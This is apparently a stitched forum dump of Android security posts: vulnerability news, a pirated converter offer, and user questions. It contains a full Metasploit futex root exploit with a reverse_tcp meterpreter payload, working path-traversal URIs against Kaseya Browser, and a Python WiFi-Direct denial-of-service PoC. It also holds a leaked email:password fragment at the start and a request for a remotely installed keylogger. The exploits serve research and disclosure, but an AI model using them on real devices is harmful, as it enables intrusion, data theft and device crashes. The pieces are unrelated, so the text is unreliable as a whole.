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juan@hotmail.com:juan Captured Keys: <------------> Renewal Date: December 24 2014 Use On: Windows OSX iOS Android

Palo Alto Networks today shared details of a security vulnerability in the Android operating system that could allow an attacker to hijack the installation of a what appears to be a legitimate Android application and modify or replace it with malware. The network security firm said an estimated 49.5 percent of current Android users are impacted by the flaw, which if exploited, could potentially give attackers full access to a compromised device, including usernames, passwords, and sensitive data. Fortunately, the risk for most typical Android users is low, as the vulnerability only affects applications downloaded from third-party app stores, not the official Google Play store, which downloads files into a protected space and cannot be overwritten by an attacker. Discovered by Palo Alto Networks researcher Zhi Xu, the vulnerability exploits a flaw in Android’s “PackageInstaller” system service, allowing attackers to silently gain unlimited permissions in compromised devices, the company said. Android Hijacking VulnerabilityPalo Alto Networks summarized the flaw as follows: • During installation, Android applications list the permissions requested to perform their function, such as a messaging app requesting access to SMS messages, but not GPS location. • This vulnerability allows attackers to trick users by displaying a false, more limited set of permissions, while potentially gaining full access to the services and data on the user’s device, including personal information and passwords. • While users believe they are installing a flashlight app, or a mobile game, with a well-defined and limited set of permissions, they are actually running potentially dangerous malware. “On affected platforms, we discovered that the PackageInstaller has a ‘Time of Check’ to ‘Time of Use’ vulnerability,” the company explained in a blog post. “In layman’s terms, that simply means that the APK file can be modified or replaced during installation without the user’s knowledge. The Installer Hijacking vulnerability affects APK files downloaded to unprotected local storage only because the protected space of Play Store app cannot be accessed by other installed apps.” Palo Alto Networks said it has worked with Google and Android device manufacturers including Samsung and Amazon to help protect users and patch the vulnerability in affected versions of Android, however, some older-version Android devices may remain vulnerable. Palo Alto Networks recommends the following for enterprises concerned about the risk of malware through Android devices: • On vulnerable devices, only install software applications from Google Play; these files are downloaded into a protected space, which cannot be overwritten by the attacker. • Deploy mobile devices with Android 4.3_r0.9 and later, but keep in mind that some Android 4.3 devices are found to be vulnerable. • Do not provide apps with permission to access logcat. Logcat is a system log, which can be used to simplify and automate the exploit. Android 4.1 and later versions of Android by default forbid apps from accessing logcat of system and other installed apps. But an installed app could still manage to get access to other apps’ logcat on rooted mobile devices using Android 4.1 or later. • Do not allow enterprise users to use rooted devices with enterprise networks. According to Google, the Android Open Source Project includes patches for the vulnerability for Android 4.3 and later, which can be found here. According to Google’s Android Security Team, no attempts to exploit the vulnerability on user devices has been detected. Palo Alto Networks also released a vulnerability scanner app in the Google Play store which it has open sourced on Github. Ryan Olson, Unit 42 Intelligence Director at Palo Alto Networks, told SecurityWeek that no CVE has been assigned for the flaw, as Google did not request one. Additional technical details and information are available in the blog post from Palo Alto Networks. Sursa

Product Description Multimedia for Android – just simple! Enables you to create video clips, audio and photo files for your Android-based smartphone. Supports also video clips from YouTube & Co. Is compatible to any current Android-based device. Regular updates of new devices are included! Your music, videos and photos on Android? Not a problem anymore. You cannot listen to your music; watch your videos or photos on your smartphone? That happens because your smartphone can only play particular formats. Android Converter solves this problem and converts your music, videos and photos into the proper format. The generated files can be played on any devices with Android operating system. Thus, you always have your favourite videos, music and photos ready to hand. Converts all of your music files! With Android Converter you can convert music files from your hard disk or audio CDs into the formats AAC and MP3. These output formats guarantee a good audio quality with small or medium file size and are therefore particularly well suited for your Android device. The best part of Android Converter, however, is the possibility to extract the audio track from videos, save them as music files and convert them. Android Converter can even convert audio files with effective copy protection without problems. To this, the software records the soundtrack during the replay analogously. Makes your videos fit for Android, too! You also want to play videos on your Android device? With Android Converter this is not a problem! The software supports the conversion of single video files of any common format, e.g. AVI, DivX, Xvud, Nero Digital, WMV and internet flashvideos (flv). However, it can also handle Blu-rays or video-DVDs and convert complete DVD films or single DVD chapters. It does not matter, how long the film is. To facilitate the choice of the appropriate output format, you get a list with various output devices. You want to save your photo on Android? No problem! Conversion of music and videos is still not enough for you? Android Converter also takes care of your photos! The software converts photos to JPG, PNG and BMP and makes them fit for your Android device. The formats JPG and PNG compress your photos, so that they only take little storage capacity on your device. With BMP you can prepare your photos for long term storage without any loss in quality. Of course Android Converter offers more! The software also optimizes your photos automatically for display on your Android device. Please consider: Due to legal reasons, Android Converter is not able to convert DVD-videos or other videos with effective copy protection. Audio, video and photo files created by Android Converter, cannot only be played on Android devices, but also on a few DVD-players, streaming-clients and media center (please consult the documentation of your device). If you want to play videos on your Android device, you have to download a respective player from the Android marketplace. -> Download <-Deal Expire in: EXPIRED!

Security researchers at IBM have uncovered a bug in cloud storage service provider Dropbox's software development kit (SDK) that potentially leaves millions of Android users open to attack. Researchers at IBM's X-Force Application Security Research warned that the 'DroppedIn' flaw affects many applications using the Dropbox SDK. "It allows attackers to connect applications on mobile devices to a Dropbox account they control," explained vice president of IBM Security Caleb Barlow. "This vulnerability may affect any Android app that uses the Dropbox SDK versions 1.5.4 to 1.6.1, and can be exploited locally using malware and remotely using drive-by techniques." A Dropbox spokesperson told V3 the firm issued an update fixing the flaw in December 2014 and added it could only be exploited in "very specific circumstances" on devices where the main Dropbox Android app was not installed. Barlow said despite the assurances hackers could still steal data from vulnerable systems without the patch. "The vulnerability allows attackers to execute malicious code during the log-in process that allows them to access the random number, called a 'nonce', that Dropbox uses as part of the authentication process," he said. "Once the attacker has the nonce, they can enter an access token that is also used to identify a user and then upload or download files into/from the victim's vulnerable app to the attacker's Dropbox account." He added to fully fix the problem application developers will have to install the SDK patch. "There are many apps that rely on the Dropbox SDK, including Yahoo Mail, Microsoft Office Mobile, AgileBits 1Password, and several productivity, photo editing/sharing tools," he said. "Application developers that use the Android Dropbox SDK need to upgrade their version to at least 1.6.2 or above ASAP which is where the patch for this vulnerability exists." The Dropbox spokesperson moved to allay these concerns telling V3 "most Android app developers using our SDK have updated their apps so users don't need to do anything." The news follows reports that application developers are failing to install critical security updates. Researchers at McAfee reported in February that a number of "popular" applications still do not include critical patches for the high-profile BERserk and Heartbleed Secure Sockets Layer flaws. Source

1 Introduction The Dropbox SDK is a library that developers can download and add to their products. This library provides easy access to Dropbox features, such as downloading and uploading files, via a simple set of APIs. AppBrain provides statistics as to the prevalence of the use of the Dropbox SDK on Android [1]. According to these statistics, 0.31% of all applications use the Dropbox SDK. Of the top 500 apps in the Google Play Store, 1.41% use the Dropbox SDK. Interestingly, 1.32% of total app installations and 3.93% of app installations of the top 500 apps use the Dropbox SDK, respectively. While it is not a highly prevalent library, some extremely popular Android apps that may hold sensitive information use the Dropbox SDK, including Microsoft Office Mobile with over 10,000,000 downloads1 and AgileBits 1Password with over 100,000 downloads2 . The vulnerability that we discovered may affect any Android app that uses the Dropbox SDK versions 1.5.4-1.6.1. We examined 41 apps that use the Dropbox SDK for Android, out of which 31 apps (76%) were vulnerable to our attack (i.e. they used version 1.5.4-1.6.1). It’s noteworthy that the rest of the apps were vulnerable to a much simpler attack with the same consequences, but had been fixed by Dropbox with the 1.5.4 version of the SDK which they did not care to upgrade to. This paper is organized as follows. Section 2 gives a background on Inter-App Communication (IAC) in Android. Section 3 shows how IAC can be exploited in general locally by malware and remotely using driveby techniques. Section 4 describes how the Dropbox SDK for Android uses OAuth for app authorization. In 1https://play.google.com/store/apps/details?id=com.microsoft.office.officehub 2https://play.google.com/store/apps/details?id=com.agilebits.onepassword 1section 5 we deep-dive into the vulnerability we found within the Dropbox SDK for Android OAuth code. Section 6 presents a real attack, dubbed DroppedIn, that exploits the vulnerability. In section 7, we show that the threat is real by presenting case studies. We end with section 8 that presents a mitigation for the vulnerability. 2 Inter-App Communication (IAC) in Android Android applications are executed in a sandbox environment. The sandbox ensures data confidentiality and integrity as no application can access sensitive information held by another application without proper privileges. For example, Android’s stock browser application holds sensitive information such as cookies, cache and history which shouldn’t be accessed by third-party apps. The sandbox relies on several techniques including per-package Linux user-id assignment. Thus, resources, such as files, owned by one app cannot be accessed by default by other apps. While sandboxing is great for security, it may diminish interoperability as apps sometimes would like to talk to each other. Going back to the browser example, the browser would want to invoke the Google Play app when a user browsed to the Google Play website. In order to support this kind of functionality, Android provides high-level Inter-App Communication (IAC) mechanisms. This communication is usually done using special messages called Intents, which hold both the payload and the target application component. Intents can be sent explicitly, where the target application component is specified, or implicitly, where the target is left unspecified and is determined by Android according to other Intent parameters such as its URI scheme, action or category. 3 General Exploitation via Inter-App Communication The attack surface is greatly increased if the attacker can directly invoke application components, controlling the Intent’s payload. This is the case with exported application components. Such components can be attacked locally by malware. Activities, Android application components responsible for UI screens, can also be attacked remotely using drive-by exploitation techniques as shown by [2, 3]. In the local attack, illustrated by Figure 3.1, malware invokes the exported target application component with a malicious Intent (i.e. one that contains malicious data) by simply calling APIs such as Context.startActivity(Intent). In the case of remote drive-by exploitation, illustrated by Figure 3.2, a user is lured into browsing a malicious website. This site serves a web page that causes the browser to invoke the target activity with the malicious Intent. Read more: http://dl.packetstormsecurity.net/1503-exploits/exploiting-dropboxsdk-android.pdf

While WhatsApp is very reserved to its new calling feature, cyber scammers are targeting WhatsApp users across the world by circulating fake messages inviting users to activate the new 'WhatsApp calling feature for Android' that infects their smartphones with malicious apps. If you receive an invitation message from any of your friend saying, "Hey, I’m inviting you to try WhatsApp Free Voice Calling feature, click here to activate now —> http://WhatsappCalling.com", BEWARE! It is a Scam. The popular messaging app has begun rolling out its much-awaited Free Voice Calling feature — similar to other instant messaging apps like Skype and Viber — to Android users which allows users to make voice calls using Internet. However, for now, the free WhatsApp calling feature is invite-only and only appears to work for people running the latest version of WhatsApp app for Android on a Google Nexus 5 phone running the latest Android 5.0.1 Lollipop. HOW TO ENABLE WHATSAPP CALLING FEATURE Company has not announced the WhatsApp calling feature officially, but some users claim to have used it. The report broke two months ago, when a Reddit user (pradnesh07) from India reported that the WhatsApp calling feature was activated on his Android device after he received a WhatsApp voice call from a friend. The user also posted its image on the discussion forum. Because it’s invite only, what we all believe, Millions of users across the world are eagerly waiting to access the free voice calling feature on WhatsApp and searching over the Internet that How to enable WhatsApp calling feature for Android or iOS, and this is what scammers are taking advantage of. Cyber scammers have allegedly started circulating fake invitations containing malicious links through Social Media, phishing emails, WhatsApp messages and Scam websites in order to spread creepy malware and adware apps. Once users click on the link, they land to another website where they are asked to take a survey on behalf of WhatsApp. The survey forces users to download unknown applications and software that might contain malware. With more than 70 million users, WhatsApp is the widely popular and preferred chat service worldwide, both for us as well as scammers. LEARN HOW TO PROTECT YOURSELF In order to protect yourself from 'WhatsApp calling feature' scam, you need to learn that at time of writing: WhatsApp calling feature feature is currently available for Android Lollipop 5.0 version and was successfully accessible via the new version 2.11.508 of the WhatsApp. WhatsApp calling feature feature is still in the beta version. WhatsApp calling feature is not available through Google Play Store, but can be downloaded only from the official WhatsApp website on INVITE. Source

Ever felt let down by someone who you made a promise, and then broke it? That’s what millions of Android users must be feeling right now when it comes to Google and Android. Last September, Google announced that mobile devices running the new version of Android (5.0, also known as Lollipop) would have full-disk encryption enabled by default. Here is how Google announced the news to the media in a statement: And each of every one of us who cares about security and privacy said, “This is a good thing. Well done Google.” The news of the “encryption-by-default” was reaffirmed in a blog post from Google’s Android team in October last year: It all sounds good, right? Wrong. Because we were a little hasty in breaking open the champagne last year, as Ars Technica has discovered that Google has quietly gone back on its promise and not all new Lollipop devices are going to have encryption by default. It turns out that while Google’s own Nexus 6 and Nexus 9 devices do indeed have encryption enabled by default, other older devices upgraded to Lollipop are not so lucky. Furthermore, brand new third-party Android devices (such as the second-generation Moto E and Galaxy S6 demonstrated at Mobile World Congress in Barcelona) are also not encrypted by default. The discrepancy between what Google said last year and what is now being seen on third-party Android Lollipop devices is explained by the OEM guidelines that manufacturers must follow to have their Lollipop devices approved by Google: In other words, the manufacturer still has a choice whether they currently enable full-disk encryption or not. And performance issues may mean that some third-party Lollipop devices will not yet have encryption by default. Ultimately there was a battle between security and performance. The full-disk encryption may have had too much of a hit on some devices, and so Google – fearing resistance from both customers and manufacturers – made the requirement optional. For now at least. So, if you want your Android to be fully encrypted you will still have to enable the option for yourself. Let’s hope not too many people have been lulled into a false sense of security by Google’s statements of last year. -> Source: Google does a U-turn over Android Lollipop full disk encryption | HOTforSecurity

Ce preferati si de ce: Windows Phone sau Android ?

Hey Friend's, I just write small paper on Android Reversing based on Target which i reverse.. Hop u Guy's like it.. Download Link:- https://www.dropbox.com/s/nkkmp4ait71kjku/Android%20Application%20Reversing%20Via%20Android%20Mobile.pdf?dl=0 Br, Nieo

Care sistem este mai cautat android sau ios? Ce cunostinte necesita pentru a crea o aplicatie pentru Android? Ce cunostinte necesita pentru a crea o aplicatie pentru IOS?

Salut, Stie cineva apliactii bune de android? Sunt satul de evaluarile prostilor de pe AppStore. Poate se gasesc pe forum persoane ce pot recomanda anumite programe bune. Nu conteaza ce aplicatii. Doar o lista care sa NU continua jocuri.

Security researchers have unearthed a new Android Trojan that tricks victims into believing they have switched their device off while it continues "spying" on the users' activities in the background. So, next time be very sure while you turn off your Android smartphones. The new Android malware threat, dubbed PowerOffHijack, has been spotted and analyzed by the researchers at the security firm AVG. PowerOffHijack because the nasty malware has a very unique feature - it hijacks the shutdown process of user’s mobile phone. MALWARE WORKS AFTER SWITCHING OFF MOBILES When users presses the power button on their device, a fake dialog box is shown. The malware mimics the shutdown animation and the device appears to be off, but actually remains on, giving the malicious program freedom to move around on the device and steal data. /HOW DOES POWEROFFHIJACK MALWARE WORKS ? Once installed, the malware asks for root-level permissions and tampers with the 'system_server' file of the operating system to affect the shutdown process. The malware particularly hijacks the mWindowManagerFuncs interface, so that it can display a fake shutdown dialog box and animation every time the victim presses the power button. The nasty malware is apparently being propagated via third-party online app stores, but the researchers haven't mentioned the names of the the innocent-looking apps, also they haven’t explained how the malware gains the root access of the device. The code shown by AVG appears to contact Chinese services. USERS AND ANDROID VERSIONS INFECTED According to the company, PowerOffHijack malware infects devices running Android versions below 5.0 (Lollipop) and requires root access to perform the tasks. So far, PowerOffHijack malware has already infected more than 10,000 devices, mostly in China where the malware was first introduced and offered through the local, official app stores. PowerOffHijack malware has ability to silently send lots of premium-rate text messages, make calls to expensive overseas numbers, take photos and perform many other tasks even if the phone is supposedly switched off. EASY STEPS TO GET RID OF POWEROFFHIJACK In order to get rid of PowerOffHijack malware, users are advised to take some simple steps: To restart infected device manually just take out the battery. Remove malicious, untrusted and useless apps from your Android device. Do not install apps from 3rd Party app stores. Make sure you have a good anti-virus installed and updated on your mobile devices. AVG antivirus product can detect PowerOffHijack malware. Source

Using a combination of vulnerabilities in the Google Play store and the Android stock browser, attackers can install malicious apps remotely on some Android devices. The attack is the result of a failure on the part of Google’s Play Store Web application to completely enforce the X-Frame-Options header, a common defense against clickjacking and other attacks. Researchers at Rapid7 discovered that combining that weakness with an XSS flaw in another area of the Play Store, or a universal XSS in some Android browsers can allow an attacker to install and launch apps. Developers at the Metasploit Project have added a module to the Metasploit Framework that can exploit these vulnerabilities on some Android devices. This module combines two vulnerabilities to achieve remote code execution on affected Android devices. First, the module exploits CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in versions of Android’s open source stock browser (the AOSP Browser) prior to 4.4. Second, the Google Play store’s web interface fails to enforce a X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be targeted for script injection,” the documentation from Metasploit says. “As a result, this leads to remote code execution through Google Play’s remote installation feature, as any application available on the Google Play store can be installed and launched on the user’s device.” Tod Beardsley of Rapid7 said in a blog post about the attack that users on vulnerable platforms who are always logged in to common Google services are especially at risk. “Of the vulnerable population, it is expected that many users are habitually signed into Google services, such as Gmail or YouTube. These mobile platforms are the the ones most at risk. Other browsers may also be affected,” he said. The module to exploit this attack is in Metasploit now, a circumstance that often is a precursor to a wave of attacks on a targeted vulnerability. Source

Android 5 oficial pentru Galaxy Note 3 N9005 Romania a fost lansat Firmwares | SamMobile

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Common def initialize(info={}) super( update_info( info, { 'Name' => 'Android futex requeue kernel exploit', 'Description' => %q{ This module exploits a bug in futex_requeue in the linux kernel. Any android phone with a kernel built before June 2014 should be vulnerable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pinkie Pie', #discovery 'geohot', #towelroot 'timwr' #metasploit module ], 'References' => [ [ 'CVE', '2014-3153' ], [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ], [ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ], ], 'SessionTypes' => [ 'meterpreter' ], 'Platform' => 'android', 'Targets' => [[ 'Automatic', { }]], 'Arch' => ARCH_DALVIK, 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp', }, 'DefaultTarget' => 0 } )) register_options([ OptString.new("WritableDir", [ true, "Temporary directory to write files", "/data/local/tmp/" ]), ], self.class) end def put_local_file(remotefile) localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" ) data = File.read(localfile, {:mode => 'rb'}) write_file(remotefile, data) end def exploit workingdir = session.fs.dir.getwd exploitfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}" payloadfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}" put_local_file(exploitfile) cmd_exec('/system/bin/chmod 700 ' + exploitfile) write_file(payloadfile, payload.raw) tmpdir = datastore['WritableDir'] rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}" rootpayload = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}.jar" rootcmd = " mkdir #{rootclassdir} && " rootcmd += "cd #{rootclassdir} && " rootcmd += "cp " + payloadfile + " #{rootpayload} && " rootcmd += "chmod 766 #{rootpayload} && " rootcmd += "dalvikvm -Xbootclasspath:/system/framework/core.jar -cp #{rootpayload} com.metasploit.stage.Payload" process = session.sys.process.execute(exploitfile, rootcmd, {'Hidden' => true, 'Channelized' => true}) process.channel.read end end Source

Sunt interesat de un keylogger pentru android care se instaleaza remote... adica sa ii trimit si cand la deschis sa se instaleze automat. Nu am nevoie de keylogger care trebuie sa am acces la telefon. Multumesc!

( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Kaseya Browser Android Path Traversal Affected Versions: Kaseya Browser 7.0 Android PDF: http://www.security-assessment.com/files/documents/advisory/Kaseya_Browser_Android_Path_Traversal.pdf +-------------+ | Description | +-------------+ This advisory details a vulnerability found within Kaseya Browser Android application. A path traversal vulnerability was discovered within an exported content provider, resulting in the disclosure of arbitrary files, including internal application files. +--------------+ | Exploitation | +--------------+ The Kaseya Browser Android application exposes a content provider that is vulnerable to path traversal. This allows any other application installed on the device to read arbitrary files using the Kaseya Browser application’s permissions. This can be done by reading from the com.roverapps.retriever content provider as follows: content://com.roverapps.retriever/../../../../../sdcard/<file> content://com.roverapps.retriever/../databases/suitestorage.db +----------+ | Solution | +----------+ No official solution is currently available for this issue. +---------------------+ | Disclosure Timeline | +---------------------+ 03/10/2014 - Initial contact with Kaseya Support 09/10/2014 - Established Kaseya security contact 13/10/2014 - Advisories sent to Kaseya 21/10/2014 - Additional information sent to Kaseya 22/11/2014 - Update from Kaseya 29/01/2015 - Advisory Release +-------------------------------+ | About Security-Assessment.com | +-------------------------------+ Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients. Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research. For further information on this issue or any of our service offerings, contact us: Web www.security-assessment.com Email info () security-assessment com Phone +64 4 470 1650 Source

Proof of concept exploit that allows a local application to gain system privileges via CVE-2014-7911 and then root via CVE-2014-4322. The exploit included is for a Nexus 5 with Android 4.4.4 (KTU8P). The exploit may also work on other devices if the offsets of the rop chain are modified. Download: Download: Android CVE-2014-7911 / CVE-2014-4322 Local Exploit ? Packet Storm

Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Android WiFi-Direct Denial of Service 1. *Advisory Information* Title: Android WiFi-Direct Denial of Service Advisory ID: CORE-2015-0002 Advisory URL: http://www.coresecurity.com/advisories/android-wifi-direct-denial-service Date published: 2015-01-26 Date of last update: 2015-01-26 Vendors contacted: Android Security Team Release mode: User release 2. *Vulnerability Information* Class: Uncaught Exception [CWE-248] Impact: Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2014-0997 3. *Vulnerability Description* Some Android devices are affected by a Denial of Service attack when scanning for WiFi Direct devices. An attacker could send a specially crafted 802.11 Probe Response frame causing the Dalvik subsystem to reboot because of an Unhandle Exception on WiFiMonitor class. 4. *Vulnerable Packages* . Nexus 5 - Android 4.4.4 . Nexus 4 - Android 4.4.4 . LG D806 - Android 4.2.2 . Samsung SM-T310 - Android 4.2.2 . Motorola RAZR HD - Android 4.1.2 Other devices could be also affected. 5. *Non-vulnerable packages* . Android 5.0.1 . Android 5.0.2 6. *Vendor Information, Solutions and Workarounds* Some mitigation actions may be to avoid using WiFi-Direct or update to a non-vulnerable Android version. Contact vendor for further information. 7. *Credits* This vulnerability was discovered and researched by Andres Blanco from the CoreLabs Team. The publication of this advisory was coordinated by the Core Advisories Team. 8. *Technical Description / Proof of Concept Code* Android makes use of a modified *wpa_supplicant*[1] in order to provide an interface between the wireless driver and the Android platform framework. Below the function that handles *wpa_supplicant* events. This function returns a jstring from calling NewStringUTF method. /----- static jstring android_net_wifi_waitForEvent(JNIEnv* env, jobject) { char buf[EVENT_BUF_SIZE]; int nread = ::wifi_wait_for_event(buf, sizeof buf); if (nread > 0) { return env->NewStringUTF(buf); } else { return NULL; } } -----/ The WiFi-Direct specification defines the P2P discovery procedure to enable P2P devices to exchange device information, the device name is part of this information. The WifiP2pDevice class, located at /wifi/java/android/net/wifi/p2p/WifiP2pDevice.java, represents a Wi-Fi p2p device. The constructor method receives the string provided by the *wpa_supplicant* and throws an IllegalArgumentException in case the event is malformed. Below partial content of the WiFiP2PDevice.java file. /----- [...] /** Detailed device string pattern with WFD info * Example: * P2P-DEVICE-FOUND 00:18:6b:de:a3:6e p2p_dev_addr=00:18:6b:de:a3:6e * pri_dev_type=1-0050F204-1 name='DWD-300-DEA36E' config_methods=0x188 * dev_capab=0x21 group_capab=0x9 */ private static final Pattern detailedDevicePattern = Pattern.compile( "((?:[0-9a-f]{2}{5}[0-9a-f]{2}) " + "(\\d+ )?" + "p2p_dev_addr=((?:[0-9a-f]{2}{5}[0-9a-f]{2}) " + "pri_dev_type=(\\d+-[0-9a-fA-F]+-\\d+) " + "name='(.*)' " + "config_methods=(0x[0-9a-fA-F]+) " + "dev_capab=(0x[0-9a-fA-F]+) " + "group_capab=(0x[0-9a-fA-F]+)" + "( wfd_dev_info=0x000006([0-9a-fA-F]{12}))?" ); [...] /** * @Param string formats supported include * P2P-DEVICE-FOUND fa:7b:7a:42:02:13 p2p_dev_addr=fa:7b:7a:42:02:13 * pri_dev_type=1-0050F204-1 name='p2p-TEST1' config_methods=0x188 dev_capab=0x27 * group_capab=0x0 wfd_dev_info=000006015d022a0032 * * P2P-DEVICE-LOST p2p_dev_addr=fa:7b:7a:42:02:13 * * AP-STA-CONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54] * * AP-STA-DISCONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54] * * fa:7b:7a:42:02:13 * * Note: The events formats can be looked up in the wpa_supplicant code * @hide */ public WifiP2pDevice(String string) throws IllegalArgumentException { String[] tokens = string.split("[ \n]"); Matcher match; if (tokens.length < 1) { throw new IllegalArgumentException("Malformed supplicant event"); } switch (tokens.length) { case 1: /* Just a device address */ deviceAddress = string; return; case 2: match = twoTokenPattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(2); return; case 3: match = threeTokenPattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(1); return; default: match = detailedDevicePattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(3); primaryDeviceType = match.group(4); deviceName = match.group(5); wpsConfigMethodsSupported = parseHex(match.group(6)); deviceCapability = parseHex(match.group(7)); groupCapability = parseHex(match.group(8)); if (match.group(9) != null) { String str = match.group(10); wfdInfo = new WifiP2pWfdInfo(parseHex(str.substring(0,4)), parseHex(str.substring(4,8)), parseHex(str.substring(8,12))); } break; } if (tokens[0].startsWith("P2P-DEVICE-FOUND")) { status = AVAILABLE; } } [...] -----/ On some Android devices when processing a probe response frame with a WiFi-Direct(P2P) information element that contains a device name attribute with specific bytes generates a malformed supplicant event string that ends up throwing the IllegalArgumentException. As this exception is not handled the Android system restarts. Below partial content of the logcat of a Samsung SM-T310 running Android 4.2.2. /----- I/p2p_supplicant( 2832): P2P-DEVICE-FOUND 00.EF.00 p2p_dev_addr=00.EF.00 pri_dev_type=10-0050F204-5 'fa¬¬' config_methods=0x188 dev_capab=0x21 group_capab=0x0 E/AndroidRuntime( 2129): !@*** FATAL EXCEPTION IN SYSTEM PROCESS: WifiMonitor E/AndroidRuntime( 2129): java.lang.IllegalArgumentException: Malformed supplicant event E/AndroidRuntime( 2129): at android.net.wifi.p2p.WifiP2pDevice.<init>(WifiP2pDevice.java:229) E/AndroidRuntime( 2129): at android.net.wifi.WifiMonitor$MonitorThread.handleP2pEvents(WifiMonitor.java:966) E/AndroidRuntime( 2129): at android.net.wifi.WifiMonitor$MonitorThread.run(WifiMonitor.java:574) E/android.os.Debug( 2129): !@Dumpstate > dumpstate -k -t -z -d -o /data/log/dumpstate_sys_error -----/ 8.1. *Proof of Concept* This PoC was implemented using the open source library Lorcon [2] and PyLorcon2 [3], a Python wrapper for the Lorcon library. /----- #!/usr/bin/env python import sys import time import struct import PyLorcon2 def get_probe_response(source, destination, channel): frame = str() frame += "\x50\x00" # Frame Control frame += "\x00\x00" # Duration frame += destination frame += source frame += source frame += "\x00\x00" # Sequence Control frame += "\x00\x00\x00\x00\x00\x00\x00\x00" # Timestamp frame += "\x64\x00" # Beacon Interval frame += "\x30\x04" # Capabilities Information # SSID IE frame += "\x00" frame += "\x07" frame += "DIRECT-" # Supported Rates frame += "\x01" frame += "\x08" frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C" # DS Parameter Set frame += "\x03" frame += "\x01" frame += struct.pack("B", channel) # P2P frame += "\xDD" frame += "\x27" frame += "\x50\x6F\x9A" frame += "\x09" # P2P Capabilities frame += "\x02" # ID frame += "\x02\x00" # Length frame += "\x21\x00" # P2P Device Info frame += "\x0D" # ID frame += "\x1B\x00" # Length frame += source frame += "\x01\x88" frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05" frame += "\x00" frame += "\x10\x11" frame += "\x00\x06" frame += "fafa\xFA\xFA" return frame def str_to_mac(address): return "".join(map(lambda i: chr(int(i, 16)), address.split(":"))) if __name__ == "__main__": if len(sys.argv) != 3: print "Usage:" print " poc.py <iface> <target>" print "Example:" print " poc.py wlan0 00:11:22:33:44:55" sys.exit(-1) iface = sys.argv[1] destination = str_to_mac(sys.argv[2]) context = PyLorcon2.Context(iface) context.open_injmon() channel = 1 source = str_to_mac("00:11:22:33:44:55") frame = get_probe_response(source, destination, channel) print "Injecting PoC." for i in range(100): context.send_bytes(frame) time.sleep(0.100) -----/ 9. *Report Timeline* . 2014-09-26: Core Security contacts Android security team to inform them that a vulnerability has been found in Android. Core Security sends a draft advisory with technical details and PoC files. . 2014-09-29: Android Security Team acknowledges reception of the advisory. . 2014-09-30: Core Security notifies that the tentative publication date is set for Oct 20rd, 2014. . 2014-09-30: Android Security Team acknowledges. . 2014-10-16: Core Security requests a status update. . 2014-10-16: Android Security Team responds that they have classify the vulnerability as low severity and don't currently have a timeline for releasing a fix. . 2014-10-20: Core Security does not completely agrees with the vulnerability classification and reschedule the publication of the advisory. . 2014-10-16: Android Security Team acknowledges and strengthens it's position that they don't currently have a timeline for releasing a fix. . 2015-01-06: Core Security requests a status update. . 2015-01-12: Core Security asks for confirmation of reception of the previous email. . 2015-01-16: Android Security Team acknowledges and respond that they don't currently have a timeline for releasing a fix. . 2015-01-19: Core Security notifies that vendor cooperation is needed in order to keep this process coordinated. If vendor refuses to provide the requested information the advisory will be released tagged as 'user release'. The advisory is re-scheduled for January 26th, 2015. . 2015-01-20: Android Security Team acknowledges and respond that they don't currently have a timeline for releasing a fix. . 2015-01-26: The advisory CORE-2015-0002 is published. 10. *References* [1] - wpa_supplicant site. [url]http://w1.fi/wpa_supplicant/[/url] [2] - Lorcon site. [url]https://code.google.com/p/lorcon[/url] [3] - PyLorcon2 site. [url]http://code.google.com/p/pylorcon2[/url] 11. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: [url]http://corelabs.coresecurity.com[/url]. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted 